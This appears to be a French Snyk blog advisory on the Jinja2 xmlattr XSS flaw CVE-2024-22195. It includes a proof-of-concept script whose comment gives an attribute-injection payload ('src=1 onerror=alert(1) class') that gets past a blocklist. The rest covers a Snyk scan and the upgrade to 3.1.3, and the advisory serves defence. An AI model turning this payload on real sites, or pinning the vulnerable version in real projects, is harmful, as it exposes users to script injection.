Skip to main content

Comprendre et atténuer la vulnérabilité XSS de Jinja2 (CVE-2024-22195)

Écrit par
feature open source

18 janvier 2024

0 minutes de lecture

Le 11 janvier 2024, une importante vulnérabilité de sécurité a été révélée dans Jinja2, une bibliothèque de modèles Python très utilisée. Identifiée sous le nom CVE-2024-22195, cette vulnérabilité de type cross-site scripting (XSS) suscite des inquiétudes en raison de son impact sur de nombreux projets. Jinja2 totalise plus de 33 millions de téléchargements hebdomadaires, près de 10 000 étoiles sur GitHub et plus de 90 000 projets dépendants.

La vulnérabilité touche toutes les versions antérieures à la 3.1.3. La version corrigée 3.1.3 est la seule option sûre. À noter que la version la plus téléchargée, la 3.1.2, reste vulnérable et largement utilisée.

Tableau de bord de popularité montrant les téléchargements hebdomadaires par version, la version 3.1.2 culminant à 17,42 millions de téléchargements.

Comment vérifier si mon projet utilise une version vulnérable de Jinja2 ?

Pour vérifier la version de Jinja2 utilisée dans votre projet, consultez le fichier requirements.txt ou exécutez pip list | grep Jinja2 dans l’environnement virtuel de votre projet.

Comprendre l’utilisation de Jinja2 dans le développement Python

La popularité de Jinja2 s’explique par sa capacité à créer des modèles HTML dynamiques à l’aide d’une syntaxe proche de celle de Python. La bibliothèque propose notamment l’héritage de modèles, l’échappement automatique du HTML pour prévenir les attaques XSS provenant de données non fiables, ainsi que la prise en charge de l’internationalisation.

Les développeurs l’installent généralement depuis PyPI à l’aide de la commande pip install Jinja2. Voici à quoi pourrait ressembler un exemple d’utilisation dans un projet :

{% extends "base.html" %}
{% block title %}Members{% endblock %}
{% block content %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Détails de la vulnérabilité XSS

CVE-2024-22195 est causée par le filtre xmlattr de Jinja2 lorsque des clés contenant des espaces sont utilisées à partir de données fournies par l’utilisateur. Cette faille permet aux attaquants d’injecter des attributs HTML arbitraires dans les modèles, de contourner le mécanisme d’échappement automatique et, potentiellement, d’exécuter des scripts non fiables dans le navigateur d’un utilisateur.

Voici une reproduction complète de la vulnérabilité cross-site scripting de Jinja2 sous forme de preuve de concept, fournie par Calum Hutton de l’équipe de recherche en sécurité de Snyk, qui a signalé cette vulnérabilité :

import sys

from jinja2 import Template

tmpl = Template(u'''\
<!DOCTYPE html>
<html>
  <head>
    <title>{{ title|escape }}</title>
  </head>
  <body>
    <img{{ dict_var|xmlattr }}>
  </body>
</html>
''')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'% python {sys.argv[0]} <attribute key>')
        sys.exit(1)
    key = sys.argv[1]
    # Could be used to bypass blacklist validation, i.e with the below input we can overwrite
    # the src attribute and add an onerror handler:
    # % python j2_xmlattr.py "src=1 onerror=alert(1) class"
    if key.startswith('on') or key in ('src',):
        print(f'Invalid key: {key}')
        sys.exit(2)
    data = {
        key: 'xxx',
        'src': 'https://jinja.palletsprojects.com/en/3.0.x/_static/jinja-logo-sidebar.png',
        'alt': 'My image'
    }
    print(tmpl.render(
        title='Jinja2 xmlattr PoC',
        dict_var=data
    ))

Reproduire la vulnérabilité XSS CVE-2024-22195 de Jinja2 

Créez un nouvel environnement virtuel Python 3 :

  1. python3 -m venv myenv 

  2. source myenv/bin/activate

Remarque : si vous débutez dans la gestion de différents environnements de développement Python, prenez quelques minutes pour lire notre guide sur la maîtrise des environnements virtuels Python : guide complet de venv, Docker et de la sécurisation de votre code.

Créez ensuite le fichier de dépendances Python requirements.txt, utilisé par le gestionnaire de paquets pip, et ajoutez-y des bibliothèques courantes du registre PyPI :

Jinja2==3.1.2
Flask
Werkzeug
Requests
SQLAlchemy
Flask-WTF
Pillow
Flask-SQLAlchemy
Flask-Migrate

Nous pouvons maintenant utiliser Snyk pour analyser le projet et vérifier si l’une de nos dépendances Python est vulnérable. Si vous utilisez macOS, installez d’abord Snyk avec brew, la méthode la plus rapide pour démarrer :

brew tap snyk/tap
brew install snyk

Remarque : pour les autres systèmes d’exploitation, comme Windows ou Linux, consultez les instructions d’installation dans Snyk User Docs.

Vous devez vous authentifier auprès de Snyk. Exécutez snyk auth, puis suivez les instructions pour vous connecter dans le navigateur. Snyk CLI récupérera automatiquement vos identifiants d’API.

Nous sommes maintenant prêts à analyser notre projet Python. Exécutez la commande suivante :

snyk test

Les résultats de l’analyse Snyk s’afficheront :

Testing /private/tmp/py1...

Tested 23 dependencies for known issues, found 1 issue, 6 vulnerable paths.

Issues to fix by upgrading dependencies:

  Upgrade jinja2@3.1.2 to jinja2@3.1.3 to fix
  ✗ Cross-site Scripting (XSS) (new) [Medium Severity][https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717] in jinja2@3.1.2
    introduced by jinja2@3.1.2 and 5 other path(s)

Organization:      liran.tal
Package manager:   pip
Target file:       requirements.txt
Project name:      py1
Open source:       no
Project path:      /private/tmp/py1
Licenses:          enabled

Tip: Try `snyk fix` to address these issues.`snyk fix` is a new CLI command in that aims to automatically apply the recommended updates for supported ecosystems.
See documentation on how to enable this beta feature: https://docs.snyk.io/snyk-cli/fix-vulnerabilities-from-the-cli/automatic-remediation-with-snyk-fix#enabling-snyk-fix

Snyk a détecté avec succès la version vulnérable de Jinja2 utilisée dans notre projet (version 3.1.2) et a recommandé un correctif depuis l’interface de ligne de commande.

C’est aussi l’occasion de vous signaler que vous pouvez utiliser une extension Snyk dans votre IDE pour analyser votre propre code Python et vos applications Python conteneurisées, en plus des dépendances tierces de PyPI.

La vulnérabilité XSS de Jinja2 est-elle facile à exploiter ?

La facilité d’exploitation de cette vulnérabilité dépend de l’application concernée et de la façon dont elle utilise Jinja2. Toutefois, en raison de la nature des vulnérabilités XSS, il est recommandé de la traiter comme une priorité élevée.

Atténuer la vulnérabilité de Jinja2 et assurer une surveillance continue de la sécurité

Les développeurs sont invités à passer immédiatement à Jinja2 3.1.3 pour corriger cette vulnérabilité.

En outre, des outils comme Snyk sont essentiels pour surveiller en continu les vulnérabilités. Snyk détecte le code et les bibliothèques vulnérables grâce à son extension IDE, et joue également un rôle clé dans l’analyse des applications conteneurisées avec Docker qui intègrent cette dépendance vulnérable.

Comment protéger mon projet contre la vulnérabilité XSS de Jinja2 ?

Mettez Jinja2 à jour vers la version 3.1.3 ou une version ultérieure. Pour cela, modifiez votre fichier requirements.txt en indiquant Jinja2>=3.1.3, puis exécutez pip install -U -r requirements.txt.

Ressources de sécurité pour les développeurs : quelle est la suite ?

La découverte de CVE-2024-22195 dans Jinja2 rappelle l’importance de maintenir les dépendances à jour et d’utiliser des outils comme Snyk pour assurer une surveillance continue de la sécurité. En restant informés et proactifs, les développeurs peuvent protéger leurs projets contre ce type de vulnérabilité.

Découvrez les attaques XSS en Python avec Snyk Learn : Les attaques XSS en Python

Aide-mémoire des bonnes pratiques de sécurité Python : Bonnes pratiques de sécurité Python

Maîtriser les environnements virtuels Python : Environnements virtuels Python

Bonnes pratiques pour conteneuriser des applications Python avec Docker : Conteneuriser Python avec Docker

Quelles autres bonnes pratiques de sécurité sont recommandées aux utilisateurs de Jinja2 ?

Outre la mise à jour régulière de Jinja2, les utilisateurs doivent suivre les bonnes pratiques de sécurité générales : valider et assainir toutes les données saisies par les utilisateurs, mettre en place des politiques de sécurité du contenu et effectuer régulièrement des audits de sécurité.

Lire la suite

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

feature insights context
Blog

La prévention est-elle essentiellement un problème résolu ?

La prévention dans le code généré par les agents est résolue sur le plan architectural, mais le défi reste de choisir des contrôles qui protègent la sécurité sans ralentir le développement.

Live Stream

Les agents de remédiation démystifiés : pourquoi corriger vaut mieux que détecter

Découvrez comment l’agent de remédiation de Snyk utilise les renseignements de sécurité, l’analyse de la cassabilité et la validation pour transformer les vulnérabilités en pull requests prêtes à être fusionnées.